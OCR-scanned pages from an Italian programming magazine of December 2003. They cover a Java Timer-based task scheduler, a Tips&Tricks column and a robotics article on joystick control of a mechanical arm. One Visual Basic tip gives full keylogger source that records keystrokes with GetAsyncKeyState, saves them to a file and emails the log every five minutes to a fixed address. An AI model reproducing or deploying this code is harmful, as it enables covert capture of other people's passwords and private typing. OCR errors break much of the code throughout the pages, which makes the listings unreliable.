minato rate, riporta (in secondi) l'intervallo di
tempo dopo il quale il comando è rieseguito. Se
impostato a zero, il comando sarà invocato solo la
prima volta. I restanti parametri specificano il nome
della classe (completo di package) che implementa
il comando da eseguire e gli eventuali argomenti da
passargli nell'esecuzione. Passiamo ora ad esamina-
re più in dettaglio il class diagram dello scheduler
iniziando dall'interfaccia Command. L'uso di tale in-
terfaccia nasce dall'applicazione del pattern Com-
mand il quale incapsula ogni richiesta di esecuzione
di un comando in un oggetto, permettendo di para-
metrizzare i client con diverse richieste (per maggio-
ri informazioni vedere relativo Box). Abbiamo quin-
di definito un metodo run che deve essere imple-
mentato da ogni classe desideri essere invocata
dallo scheduler come task,
public void run(String args[]);
Il metodo riceve come parametro un array di ogget-
ti String che corrispondono ai parametri, da passare
al comando al momento dell'esecuzione, e definiti
nel file di configurazione dello scheduler. Come
esempio, abbiamo definito due semplici classi che
implementano tale interfaccia: RemainderCom-
mand e BackupCommand. La prima semplicemen-
te crea e visualizza una finestra grafica in cui è
visualizzato un messaggio di remainder specifica-
to tra i parametri di esecuzione del task (per mag-
giori dettagli vedere il codice). La seconda classe
viceversa effettua il backup di una directory creando
un file zip (sia il nome della directory che quello del
file zip sono i parametri di esecuzione del task) e
quindi rappresenta un esempio di comando la cui
esecuzione richiede un tempo medio particolar-
mente "lungo". Nel seguito è mostrato il frammento
di codice che crea il file zip grazie alle classi disponi-
bili nel packagejava.util.zip (per maggiori informa-
A partire dalla nome della directory di cui fare il
backup, creiamo per prima cosa un'istanza della
classe ZipOutputStream e quindi otteniamo un' ar-
ray di stringhe relative ai file contenuti in tale direc-
tory (per semplicità, consideriamo che la directory
sorgente non contenga sottodirectory).
for (int i=0; i<files.length; i+ + ) {
FilelnputStream fi = new FileInputStream(args[l]
+ "/" + files[i]);
// create zip entry
origin = new BufferedInputStream(fi, BUFFER);
ZipEntry entry = new ZipEntry(files[i]);
// add entries to ZIP file
zip.putNextEntry(entry);
int count;
while((count = origin. read(data, 0, BUFFER)) != -1)
{ zip.write(data, 0, count);}
origin. close();}
zip.closeQ;
Successivamente, per
ogni file presente nella
directory, si crea un og-
getto ZipEntry (che, ag-
giunto allo zip stream,
funziona come un indice
al file) e quindi vengono
scritti i bytes del relativo
file mediante il metodo
write. Infine lo zip stream
viene chiuso. Una volta
definiti i possibili coman-
di da eseguire, occorre
implementare la classe,
derivante da TimerTask,
che definisce il task. A
tale scopo è presente la
COMPRESSIONE E
DECOMPRESSIONE
DATI
Java offre il package
Java.util.zip per la
compressione e la
decompressione dei
dati. Le classi contenute
permettono di
implementare nel
proprio codice la
lettura, la scrittura e la
modifica di file
compressi nei formati
ZIP e GZIP.
scheduler
Scheduler
na,«»,»o
fSf
(f
1 IzreadFilerstrinatvdd ffl-eaflFile
UT? parseCoi-ni-nai-id(Slnnq): void '■parse Ime
|_|_pFcrV:ii . jl: TimerTask ^create
task
' ><.M.m>»An<M
Pi int Command
II
u
| 6: <consin.- ■ eringi]) floreale
Y
task
Sch edule dTa sii
l'I
u
sdulegava uìii 1 imerTast java lèi 1. Dal e. void
tfsched.L|le
LJ
Fig. 3: Sequence diagram relativo al funzionamento
dello scheduler.
classe ScheduledTask la quale nel costruttore riceve
l'istanza della classe implementante Command e
l'array dei parametri.
protected Command cmd = nuli;
protected String[] args = nuli;
public ScheduledTask(Command cmd,String[] args) {
this.cmd = cmd; this.args = args; }
public void run() {cmd.run(args);}
http://www.ioprogrammo.it
Dicembre 2003/51 ►
TEORIA & TECNICA T H Timer e Thread: esempi pratici
BIBLIOGRAFIA
• DESIGN PATTERNS:
ELEMENTS OF
REUSABLE OBJECT-
ORIENTED SOFTWARE
Erich Gamma,
Richard Helm,
Ralph Johnson
e John Vlissides,
(Acldison Wesley)
David Visicchio è
laureato in Ingegneria
Informatica e lavora a
Roma come
designer/developer
presso una
multinazionale
software, leader nel
mercato per la
persistenza ed il
middleware di sistemi
object-oriented. I suoi
interessi sono orientati
principalmente alle
architetture distribuite
basate su piattaforme
J2EE e J2SE.
Using the Timer and
TimerTask Classes -
http://java.sun.com/docs/
books/tutorial/essential/
threads/timer.html
Using Pattern
Command
www.iavaworld.com/
javaworld/javatips/
jw-javatip68.html
Java Reflection
http://developer.java.sun. e
om/developer/technicalAr
ticles/ALT/Reflection/
Come si può notare, il metodo run semplicemente
richiama suo omologo metodo definito nell'inter-
faccia passandogli l'array dei parametri. Resta da de-
scrivere la classe principale, denominata Scheduler,
la quale si incarica di leggere ed interpretare il file di
configurazione e di attivare quindi i diversi task.
private DateFormat formatter = nuli;
private Timer timer = nuli;
public Scheduler(String fileName) throws IOException {
timer = new Timer();
formatter = new SimpleDateFormat (
"dd-MM-yyyy:hh:mm");
readFile(fileName); }
Il costruttore crea un'istanza della class Timer ed un
oggetto SimpleDateFormat necessario per il parsing
della data e dell'ora specificati per l'avvio dell'esecu-
zione di ogni task. Infine richiama il metodo readFi-
le, il quale legge file e per ogni riga letta invoca il
metodo parseCommand, passandogli come para-
metro la riga stessa (possiamo osservarne l'imple-
mentazione di seguito).
private void parseCommand(String line) throws
ParseException {
StringTokenizer st = new StringTokenizer(line," ");
// starting date
Date date = formatter.parse(st.nextToken());
// repeating rate
String rate = st.nextTokenQ;
// classname
String name = st.nextToken();
// arguments
List list = new ArrayList();
Il metodo estrae le informazioni di scheduling di
ogni task, dopodiché invoca il metodo createTask,
che vedremo più tardi e che crea l'oggetto Ti-
merTask, e successivamente schedula il task per es-
sere eseguito solo una volta oppure in modo reitera-
to (nel caso il parametro rate sia diverso da zero).
TimerTask task = createTask(name,(String[])
Mst.toArray(new String[0]));
if(task == nuli)
return;
try {long Irate = new Long(rate).longValue();
if(lrate != 0)
timer.schedule(task,date, Irate* 1000);
else
timer.schedule(task,date);}
catch(NumberFormatException e)
{timer.schedule(task,date);}
A questo punto resta da descrivere il metodo di crea-
zione dell'oggetto TimerTask. Esso, riceve come
parametro il nome della classe (completo di packa-
ge) che implementa comando da eseguire e ne
crea un'istanza mediante la reflection.
private TimerTask createTask(String name,String args[])
{...}
Innanzitutto si determina l'oggetto Class in base al
nome della classe richiesta dopodiché, mediante
getlnterfaces, si ottiene un array di oggetti Class rela-
tivi alle interfacce implementate. Abbiamo visto che
le classi, che modellano i comandi eseguibili dal no-
stro scheduler, devono implementare l'interfaccia
Command. Pertanto viene effettuato un controllo
che la classe del comando implementi tale interfac-
cia.
Command cmd = (Command) dclass.newlnstance();
return new ScheduledTask(cmd,args);
Infine, sull'oggetto Class si invoca il metodo
newlnstance, il quale crea un'istanza di quella clas-
se. Possiamo dunque farne il casting verso Com-
mand ed utilizzarla per creare l'oggetto Scheduled-
Task che rappresenta il task. Notare che il metodo
newlnstance utilizza il costruttore vuoto della clas-
se il cui oggetto va creato (per supportare il caso di
costruttori con parametri vedere il BOX sulla
reflection). L'oggetto ScheduledTask verrà, come
visto, schedulato nel timer. I passi seguiti dallo
scheduler sono mostrati nel sequence diagram di
Fig. 3. A questo punto, apportiamo una piccola otti-
mizzazione al nostro scheduler. Purtroppo, tra i
comandi disponibili, ne abbiamo uno, lo ScanNet-
Command, che impiega per la sua esecuzione un
tempo abbastanza lungo. Ciò provoca seri problemi,
in quanto l'oggetto Timer utilizza un unico thread in
background che esegue sequenzialmente tutti i
TimerTask schedulati. Se uno di questi task impie-
gasse troppo tempo, ciò potrebbe provocare un
ritardo nell'esecuzione dei task successivi. A tal fine
abbiamo creato una nuova classe, Scheduled-
TlireadedTask, derivante da ScheduledTask, e che
ridefinisce il metodo run come segue
Thread thread = new Thread() {public void run()
{cmd.run(args);}
}; thread. start();
In tal caso si avvia un thread che si occupa dell'ese-
cuzione del task, liberando subito il thread del Timer
che può quindi passare ai task successivi. Infine
creiamo un file di configurazione con alcuni task
9-10-2003:15:56 30 RemainderCommand Ricordati di ...
9-10-2003:15:57 BackupCommand images.zip images
David Visicchio
► 52/Dicembre 2003
http://www.ioprogrammo.it
Una raccolta di trucchi da tenere a portata di... mouse H T TIPS&TRICKS
I trucchi del mestiere
Tips&TVicks
La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto
dell'esperienza di chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca su
internet, altri ancora ci giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta
scelti, verranno pubblicati nella rubrica. Il codice completo dei tips è presente nel CD allegato nella directory \tips\o sul
Web all'indirizzo: cdrom.ioprogrammo.it.
VISUAL
BASIC
IL COMPUTER SEMPRE SOTTO
CONTROLLO!
Questo tip permette di tenere sotto controllo il computer
in nostra assenza inviando, a un indirizzo da noi stabili-
to, il file di log contenente le attività della tastiera ad
intervalli di 5 minuti.
Tip fornito dal Sig. D.Forzan
Codice agganciato al formi
Private Si
jb Form_
_Load()
Module
l.StartTi
mer 'cattura tasti
End Sub
Private Si
jb Form_
_Unload(Cancel As Integer)
Module2
.StopTimer 'Stop invio Email
Modulel
.StopTimer 'Stop cattura tasti
End Sub
Codice agganciato al modulo 1
Option Explicit
Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal
nIDEvent As Long, ByVal uElapse As Long, ByVal IpTimerFunc As
Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal
nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As
Long) As Integer
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Private TimerID As Long, Email As Boolean
Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal
uElapse As Long, ByVal IpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
Scrivi_Su_File (sSave)
End If
End Sub
Function Scrivi_Su_File(Carattere As String)
On Error Resumé Next
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FileExists(App.Path & "\Archivio.txt") Then
fso.CreateTextFile App.Path & "\Archivio.txt"
Set f = fso. OpenTextFile(App. Patri & "\Archivio.txt", 2)
Else 'Se il file esiste aggiungi i dati
Set f = fso. OpenTextFile(App. Patri & "\Archivio.txt", 8)
End If
f.Write Carattere
f.Close
sSave = ""
If Not Email Then 'Se viene premuto un tasto
Module2.StartTimer 300000 'ogni 5 MINUTI invia email
Email = True
End If
End Function
Sub StartTimer(Interval As Long)
TimerID = SetTimer(0, 0, Interval, AddressOf TimerProc)
End Sub
Sub StopTimer()
If TimerID <> Then
KillTimer 0, TimerID
End If
End Sub
Codice agganciato al modulo 2
Option Explicit
Private TimerID As Long
Sub TimerProc2(ByVal hWnd As Long, ByVal uMsg As Long, ByVal
idEvent As Long, ByVal IngSysTime As Long)
Cali Invia ' invia Email
End Sub
Sub StartTimer(Interval As Long)
http://www.ioprogrammo.it
Dicembre 2003/53 ►
TIPS&TRICKS T H Una raccolta di trucchi da tenere a portata di... mouse
IL TIP DEL MESE
Riprodurre le immagini
di una WebCam
Il tip proposto consente di riprodurre, in un compo-
nente PictureBox, le immagini renderizzate da una
qualunque WebCam. Altresì l'applicazione prevede la
possibilità di realizzare delle istantanee.
Tip fornito dal sig. R.Grassi
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll"
Alias "capCreateCaptureWindowA" (ByVal IpszWindowName As
String, ByVal
dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth
As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal
nID As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias
"SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long,
ByVal wParam As Long, IParam As Any) As Long
'La funzione capCreateCaptureWindow fornisce l'handle da utilizzare
per la connessione con il driver di cattur_
'La funzione SendMessage serve per eseguire alcune istruzioni
Dim HwndCattura As Long
Const FRAME As Long = 1084
Const CONNESSIONE As Long = 1034
Const COPYTOCLIPBOARD As Long = 1054
Const DISCONNESSIONE As Long = 1035
Private Sub CommandAvvio_Click()
HwndCattura = capCreateCaptureWindow("WebcamCapture", 0, 0,
0, 0, 0, Me. Hwnd, 0)
'Connessione alla webcam
SendMessage HwndCattura, CONNESSIONE, 0,
Timerl.Enabled = True
CommandAvvio.Enabled = False
CommandFoto.Enabled = True
CommandStop.Enabled = True
Private Sub CommandFoto_Click()
CommonDialogl.ShowSave
'Salvataggio dell'istantanea
SavePicture Picturel.Image, CommonDialogl.FileName
Private Sub CommandStop_Click()
Timerl.Enabled = False
' Disconnessione
SendMessage mCapHwnd, DISCONNESSIONE, 0,
CommandAvvio.Enabled = True
CommandFoto.Enabled = False
CommandStop.Enabled = False
Private Sub Timerl_Timer()
On Error Resumé Next
SendMessage HwndCattura, FRAME, 0, 'Cattura del frame cor-
SendMessage HwndCattura, COPYTOCLIPBOARD, 0, 'Copia il
frame nella clipboard
Picturel.Picture = Clipboard. GetData 'Leggi dalla clipboard
Clipboard. Clear
TimerID = SetTimer(0, 0, Interval, AddressOf TimerProc2)
End Sub
53
Sub StopTimer()
If TimerID <> Then
KillTimer 0, TimerID
End If
End Sub
Sub Invia()
On Error Resumé Next
Dim myMaill
Set myMaill = CreateObject("CDO.Message")
myMaill. From = "mia@email.com"
myMaill. To = "destinazione@allert.it"
myMaill. Subject = "Monitor Computer"
myMaill. TextBody = "Allegato Tasti premuti."
myMaill. AddAttachment App.Path & "\Archivio.txt"
myMaill. Send
Set myMaill = Nothing
End Sub
COME APPLICARE UN MENU AL DATAGRID
A volte può capitare di dover visualizzare un menù di
scelta rapida {pop up) al click destro del mouse, dentro
una cella del controllo datagrid. Il problema deriva dal
fatto che al click destro del mouse viene visualizzato un
menù con le voci taglia, copia, incolla e seleziona tutto.
L'esempio che trovate nella sezione Tips del CD-Rom o
sul web (www.ioprogrammo.it) mostra una possibile
soluzione al problema.
Tip fornito dal Sig. E.Mattei
DELPHI
COME ANNULLARE L'ELABORAZIONE...
Il problema è stato posto sul forum del sito di ioPro-
grammo (www.ioprogrammo.it): avrei bisogno di inter-
». 54/ Dicembre 2003
http://www.ioprogrammo.it
Una raccolta di trucchi da tenere a portata di... mouse H T TIPS&TRICKS
cettare un tasto (per esempio F3 o ESC) per interrompere
l'elaborazione subordinata alla pressione di un generico
button.
La risposta è stata fornita dal sig. Salvatore Meschini:
Utilizzando YApplication.ProcessMessages si rende possibile l'ela-
borazione della coda dei messaggi (ovvero quello che serve per
non "bloccare" l'applicazione)...
Per operazioni lunghe conviene inserire una chiamata a tale
metodo per "restituire il controllo" all'utente.
Una delle soluzioni consiste nella creazione di un nuovo thread
per la stampa (così come fa per esempio Microsoft Word!)
Il metodo ProcessMessages è descritto nella documentazione di
Delphi.
Esempio:
procedure TForml.ButtonlClick(Sender: TObject);
begin
Etichetta. Caption: = 'Inizio stampa";
Application. ProcessMessages;
sleep(lOOOO); // Operazione lunga: STAMPA
Etichetta. Caption: = 'Fine stampa";
end;
COME SOMMARE LE RIGHE MULTIPLE SELE-
ZIONATE IN UNA TDBGRID
La funzione permette di salvare il contenuto di più righe sele-
zionate in un controllo TDBGrid. Settare sul valore True le pro-
prietà dgMultiSelect e dgRowSelect.
function SUMSomething: Float;
var
i: Integer;
Sum: Currency;
begin
Sum := 0;
for i := 1 to DBGridl.SelectedRows.Count do
begin
Tablet. GotoBookMark
(Pointer(DBGridl.SelectedRows.Items[i-l]));
Sum := Sum + Tablet. FieldByName('AField').AsFloat;
end;
jar,. Ecco un esempio che ne illustra l'utilizzo:
//implementazione di una classe Loader
public class JarClassLoader extends MultiClassLoader
{
private JarResources jarResources;
public JarClassLoader (String jarName)
{
jarResources = new JarResources (jarName);
}
protected byte[] IoadClassBytes (String className)
{
className = formatClassName (className);
return (jarResources. getResource (className));
}
// codice che utilizza il loader ed effettua
// l'estrazione delle risorse dal file in esame
public static class Test
{
public static void main(String[] args) throws Exception
j
if (args.length != 2)
_J
System. err.println ("Usage: java JarClassLoader" +
"<jar file name> <class name>");
System. exit (1);
}
JarClassLoader jarLoader = new JarClassLoader (args [0]);
Class e = jarLoader.loadClass (args [1], true);
Object o = c.newlnstance();
if (o instanceof TestClass)
{
TestClass te = (TestClass) o;
tc.doSomethingO;
}
Result
end;
Sum;
}
JAVA/
JAVA SCRIPT
COME CREARE OGGETTI DA FILE JAR
In java sono note alcune tecniche che consentono l'estra-
zione di risorse java direttamente da file con estensione
COME REPERIRE LA VIRTUAL MACHINE
SULLA QUALE GIRA LA MOSTRA APPLICA-
ZIONE
A volte delle applicazioni potrebbero avere problemi e
non girare correttamente con versioni obsolete della
Virtual Machine. Sarebbe quindi opportuno inserire un
controllo della versione della virtual machine. Il tip
mostra come ottenere la versione della VM installata sul
sistema.
String vmName=System.getProperty("java.vm.name");
String vmVersion=System.getProperty("java.vm.version");
http://www.ioprogrammo.it
Dicembre 2003/55 ►
TIPS&TRICKS T H Una raccolta di trucchi da tenere a portata di... mouse
®c
+ +
SCRIVERE SU DISCO NUMERI ESADECIMALI
Dopo un anno di programmazione in basic non conosce-
vo il significato della parola HEX, quindi, scrivere su disco
numeri in esadecimale, era cosa impensabile. Dopo esse-
re passato al c++ mi si è allargato l'orizzonte, di sicuro chi
si avvicina al c++ potrà gradire questo codice d'esempio.
Tip. fornito dal Sig. A.De Lorenzo
Il problema risolto è la conversione double-->int di
27076.0
int resultjnt;
doublé
num_double;
char
string_double[25];
num_double
= 2.7076;
num_double
*= 10000;
resultjnt =
(int)(num_double);
il risultato con Pentium 4 a 1800 MHz: resultjnt = 27075
num_double = 27076.0;
resultjnt = (int)(num_double);
il risultato con P4_1800 Visual_C++_4: resultjnt = 27076
nel codice si è aggirato il problema con due conversioni.
// doublé to string
gcvt(num_double,5,string_double);
// string to int
resultjnt = atoi(string_double);
Nel CD-Rom allegato alla rivista o sul sito web www.iopro-
grammo.it potrete trovare un database stellare con
2.557.457 stelle (utile per testare il tip)
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int Scrivi_Radianti(char *NomeFile, doublé *record,int numero_record);
int main(void){
#define NUM_RECORD 8
doublé record[NUM_RECORD];
record[0] = 6.2831
record[l] = -6.2706
record[2] = 6.0498
record[3] = -2.4932
record[4] = -2.6977
record[5] = 2.8276
record[6] = -2.7076
record[7] = 0.0182
Scrivi_Radianti("DataJ*adianti.dat", record, NUM_RECORD);
printf("\n\n%s", "Premere un tasto per terminare");
getch();
return 1;}
int ScrivLRadianti(char *NomeFile, doublé *record,int
numero_record) {
FILE *out;
unsigned char a;
unsigned char b;
unsigned char j;
unsigned char numjDin;
unsigned char segno;
int i;
int resultjnt;
doublé num_double;
char string_double[25];
if((out = fopen(NomeFile,"wb")) == NULL) return 0;
numjjin = 0; // binario = 00000000
for(j=i = 0; i<numero_record; i ++,j+ + ) {
num_double = record[i];
if(num_double < 0) {
num_double = fabs(num_double);
segno = 0; }
else {
segno = 1; }
// ad ogni iterazione sposta a sinistra
// di una posizione il bit x impostato
// precedentemente con la chiamata (numjDin |= segno;)
numjbin <<= 1;
// imposta il bit (OOOOOOOx)
numjain |= segno;
num_double *= 10000;
// conversione imprecisa
// resultjnt = (int)(num_double);
// doublé to string
gcvt(num_double,5,string_double);
// string to int
resultjnt = atoi(string_double);
// byte (resultjnt) selezionato OxFFFF
H ^
a = (resultjnt >> 8) & OxFF;
fprintf(out,"%c",a);
// byte (resultjnt) selezionato OxFFFF
H ^
b = resultjnt & OxFF;
fprintf(out,"%c",b);
printf("record[%d]= % 3.4f num_double = % 8.1f
resultjnt= %#5d Hex= 0x%02X%02X segno=
%d\n M ,i, record [i],num_double,resultJnt,a,b, segno);
if(j ==7)
{
fprintf(out,"%c",numjDÌn);
j =Q;
numjjin = 0; // reset numjjin = 00000000 }
}
j--;
// Quando l'ultimo blocco è inferiore a 8
// viene completato
H
whjleQ < 8 && j != 0)
{
». 56/ Dicembre 2003
http://www.ioprogrammo.it
Una raccolta di trucchi da tenere a portata di... mouse H T TIPS&TRICKS
fprin
tf(out,"%c
',0);
fprin
tf(out,"%c
',0);
num
_bin << =
1;
num
_bin |= 0;
if(j =
= = 7) fprin
tf(out,
'%c'
,num_
_bin);
j+ + ,
}
fclose(ou
t);
return 1;
}
COME GESTIRE IL MOUSE
La gestione del mouse all'interno di un'applicazione
Visual C++ è quanto di più semplice si possa fare. Dopo
avere generato un progetto MFC AppWizard (exe), ci si
deve recare nel file della view dell'applicazione. Se il pro-
getto è denominato ProvaMouse, ad esempio, si deve
aprire il file ProvaMouseView.cpp. In seguito, nel Class-
Wizard, che può essere selezionato da View/ Class Wizard,
oppure premendo contemporaneamente [CTRL] + [W],
all'interno del tab Message Maps, assicurarsi che sia sele-
zionata la classe CProvaMouseView. Nella finestra
Messages, selezionare il tipo di messaggio del mouse da
gestire. Ad esempio, per gestire la pressione del tasto sini-
stro, selezionare messaggio WM_LBUTTONDOWN; per
gestire la pressione del tasto destro selezionare il messag-
gio WM_RBUTTONDOWN e via dicendo. Selezionato il
tipo di messaggio da gestire, cliccare due volte sulla rela-
tiva voce che diventare "enfatizzata" e, nella finestra sot-
tostante, Member Functions, comparirà il nome del
gestore del messaggio. Ad esempio, scegliendo WM_
LBUTTONDOWN, ClassWizard genererà, automati ca-
mente, il gestore OnLButtonDownQ; E' necessario creare
un gestore di messaggi per ciascuno degli eventi di cui si
necessita.
All'interno del file ProvaMouseView.CPP, nella coda dei
messaggi, ClassWizard aggiungere una riga di gestione
del tipo:
H
BEGIN_MESSAGE_MAP(CProvaMouseView, CView)
//{{AFX_MSG_MAP(CProvaMouseView)
ON_WM_LBUTTONDOWN()
ON_WM_RBUTTONDOWN()
//}}AFX_MSG_MAP
// Standard printing commands
ON_COMMAND(ID_FILE_PRINT, CView:: OnFilePrint)
ON_COMMAND(ID_FILE_PRINT_DIRECT, CView:: OnFilePrint)
ON_COMMAND(ID_FILE_PRINT_PREVIEW, CView:: OnFilePrintPreview)
END_MESSAGE_MAP()
H
I gestori veri e propri vengono inseriti in coda al file:
/////////////////////////////////////////////////////////////////////////////
II CProvaMouseView message handlers
void CProvaMouseView:: Onl_ButtonDown(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or cali default
CView:: OnLButtonDown(nFlags, point);
}
void CProvaMouseView:: OnRButtonDown(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or cali default
CView:: OnRButtonDown(nFlags, point);
}
A questo punto, nei gestori inserire le funzionalità da
implementare.
Ad esempio:
void CProvaMouseView:: OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or cali default
CView:: OnLButtonDown(nFlags, point);
MessageBox("Hai premuto il tasto sinistro del mouse", "Gestione del mouse");
}
void CProvaMouseView:: OnRButtonDown(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or cali default
CView: :OnRButtonDown(nFlags, point);
MessageBox("Hai premuto il tasto destro del mouse", "Gestione
del mouse");
}
•
Questo mese
in palio un
ECCEZIONALE
KIT FREE ADSL
NETSYSTEM
«r SAT
MODEM
PCI
Inviaci la tua soluzione ad un problema di
programmazione, una faq, un tip...
Tra tutti quelli giunti mensilmente in redazione,
saranno pubblicati i più meritevoli e, fra questi,
scelto il Tip del mese,
PREMIATO CON UN FANTASTICO OMAGGIO!
Invia i tuoi lavori a ioptogrammo@edmaster.it
http://www.ioprogrammo.it
Dicembre 2003/57 ►
ELETTRONICA T I Braccio meccanico - quarta parte
Robotica: hardware e software
Muoviamo il robot
con un joystick
Analizzata la presa della mano ed i sensori relativi, nonché la
flessione del polso, vediamo come gestirne la rotazione e come
muovere il braccio attraverso un comune Joystick.
CONTATTA
L'AUTORE
L'autore è lieto di
rispondere ai quesiti
dei lettori
sull'interfacciamento
dei PC all'indirizzo:
luca.spuntoni©
ioproqrammo.it
Sono le sette del mattino: il nostro robot dome-
stico ha già provveduto a curare le piante di
casa, ed è intento a preparare la colazione.
Dopo che saremo usciti di casa provvedere a passa-
re l'aspirapolvere dappertutto e a predisporre un
carico di biancheria per la lavatrice. Per controllare a
che punto sia la colazione indossiamo, stando
comodamente a letto, il nostro visore ed il guanto
Virtual Reality Pro, apriamo il menu di controllo con
un gesto dell'indice ed aggiungiamo un cucchiaino
di fruttosio extra all'espressino decaffeinato della
moglie ed un paio di ovetti di cioccolato per i figli.
Dopo pochi minuti vediamo apparire il nostro robot
intento a portare la colazione a letto a tutta la fami-
glia. Tutto questo non è fantascienza, ma è alla por-
tata delle capacità tecnologiche contemporanee.
Diversi lettori mi chiedono in quanto tempo il brac-
cio meccanico sarà pronto: ormai non manca molto,
in queste pagine analizzeremo il movimento della
flessione del polso della mano meccanica, movi-
mento che concettualmente è identico alla flessione
del gomito e della spalla, fatte salve alcune differen-
ze costruttive, soprattutto dal punto di vista mecca-
nico. In questo appuntamento faremo molto di più:
Fig. 1: Il braccio meccanico è costruito interamente in
alluminio e permette di manipolare oggetti di dimensioni
e peso anche considerevolr.in questo articolo vedremo
come muovere la mano per mezzo di un joystick.
Fig. 2: L'apparecchiatura PC Explorer tight è prodotta e
commercializzata dalla Elisys s.r.l. e può essere acquista-
ta inviando una e-mail all'indirizzo pcexplorer@elisys.it,
oppure telefonicamente al numero 0823/468565 o via
Fax al: 0823/494619.
al termine della lettura di questo articolo, saremo in
grado di muovere il nostro braccio meccanico co-
struito fino a questo punto, per mezzo di un joystick.
L'applicazione così costruita ha già un numero note-
vole di applicazioni pratiche, che svilupperemo ed
amplieremo nei prossimi appuntamenti, fino alla
costruzione di un vero e proprio robot domestico.
IL JOYSTICK
Il loystick risulta essere una delle prime periferiche
di puntamento che siano state realizzate per perso-
nal computers. Quando i PC ed i primi home com-
puters erano gestiti dai primi sistemi operativi ed
mouse, che ormai è divenuto un sistema di punta-
mento di ovvia presenza vicino ad ogni computer,
era uno strumento nuovo ed avveniristico, il joystick
figurava come una utile appendice, soprattutto per
l'esecuzione dei primi videogames. I joystick a mi-
»> 60/Dicembre 2003
http://www.ioprogrammo.it
Braccio meccanico - quarta parte H T ELETTRONICA
_
^fcssk.
- h
^M^^^j^^s3
Fig. 3: La connessione del Joystick alla apparecchiatura
PC Explorer light, avviene per mezzo di un semplice cavo,
come mostrato in figura.
crointerruttore, che permettevano soltanto la defini-
zione della direzione del movimento, lasciarono il
posto ai dispositivi proporzionali, che consentivano
un movimento più graduale. Lo standard industria-
le attuale si basa su questo tipo di dispositivo di pun-
tamento: in seguito su un unico connettore della
porta venne reso possibile il collegamento di ben
due joystick, per rendere possibile l'interazione tra
due giocatori. La tab. 1 rappresenta le connessioni
interne di una porta joystick standard, unite alle
indicazioni relative al cavo di interfaccia che costrui-
remo successivamente, per rendere possibile il con-
trollo del braccio meccanico. Dall'analisi della
Fig. 4: Il servocomando utilizzato per la rotazione del
polso del Robot è reperibile in qualunque negozio di hob-
bistica e modellismo.
tabella notiamo che per ogni Joystick vengono
individuati i due assi del movimento, identifican-
do con l'asse X quello relativo alla traslazione
destra-sinistra e con asse Y, quello relativo al
movimento alto-basso. Ogni asse viene collegato
ad un potenziometro, normalmente di tipo lineare
da 100 KOhm. Per ogni dispositivo vengono inoltre
utilizzati due pulsanti, chiamati semplicemente
Pulsante 1 e Pulsante 2. Ciascuna coppia di poten-
ziometri e di interruttori, viene gestita utilizzando
una linea comune, in modo tale da utilizzare sol-
tanto tre contatti sul connettore, anziché quattro.
Nella nostra esperienza utilizziamo soltanto un
Joystick, dei due disponibili, come appare eviden-
te dalla lista delle connessioni di Tab. 1. Compie-
r N. PIN
Connettore
Joystick
CONNESSIONE
COLORE '
1
A
COMUNE POTENZIOMETRI
NERO
2
A
PULSANTE 1
VERDE
3
A
POTENZIOMETRO ASSE X
BLU
4
A
COMUNE PULSANTI
BIANCO
5
NC
NON CONNESSO
6
A
POTENZIOMETRO ASSE Y
ROSSO
7
A
PULSANTE 2
GIALLO
8
NC
NON CONNESSO
9
B
COMUNE POTENZIOMETRI
10
B
PULSANTE 1
11
B
POTENZIOMETRO ASSE X
12
B
COMUNE PULSANTI
13
B
POTENZIOMETRO ASSE Y
14
B
PULSANTE 2
15
NC
NON CONNESSO
^ Tab. 1: Connessioni interne di una porla joystick j
tata la descrizione funzionale del joystick, proce-
diamo ad analizzarne le metodologie di utilizzo.
LA COSTRUZIONE DEL
CAVO PER L'UTILIZZO
DEL JOYSTICK
Per potere utilizzare il joystick per gestire il nostro
braccio meccanico e per le esperienze future, abbia-
mo bisogno di costruire un semplice cavo che per-
metta di accedere alle linee di questo dispositivo di
puntamento. Per realizzare questo cavo di connes-
sione possiamo agire in due modi: procedere alla
costruzione della connessione armandoci di stagno
e saldatore, oppure acquistare una prolunga D15 pin
to pin e sfruttare la parte dotata di connettore fem-
mina. La seconda alternativa è senz'altro quella
costruttivamente più semplice: consiste semplice-
mente nell' acquistare un cavo di prolunga per joy-
stick e tranciare il connettore maschio: a questo
punto, una volta spellati i 15 terminali, occorre con-
trollare, per mezzo di un tester, ciascun filo a quale
piedino del connettore corrisponda, ed annotare i
risultati, che potrebbero non coincidere con i colori
riportati in Tab. 1 (ciascuna casa costruttrice di cavi
adotta una propria sequenza di colori). Volendo
costruire un proprio cavo, possiamo fare riferimen-
to alla lista di connessioni riportata in Tab. 1.
Durante la realizzazione del cavo, è importante che
il saldatore sia ben caldo e che i fili non presentino
strati di ossido che potrebbero compromettere la
buona riuscita della saldatura, la quale dovrebbe
apparire come se bagnasse il contatto del connetto-
re e del filo stesso.
E' fondamentale, inoltre, che si faccia attenzione a
non creare contatti tra due terminali attìgui, per non
compromettere le funzionalità del cavo. Nel caso di
dubbi è possibile verificare se i collegamenti siano
ACQUISTARE
PC EXPLORER
LIGHT
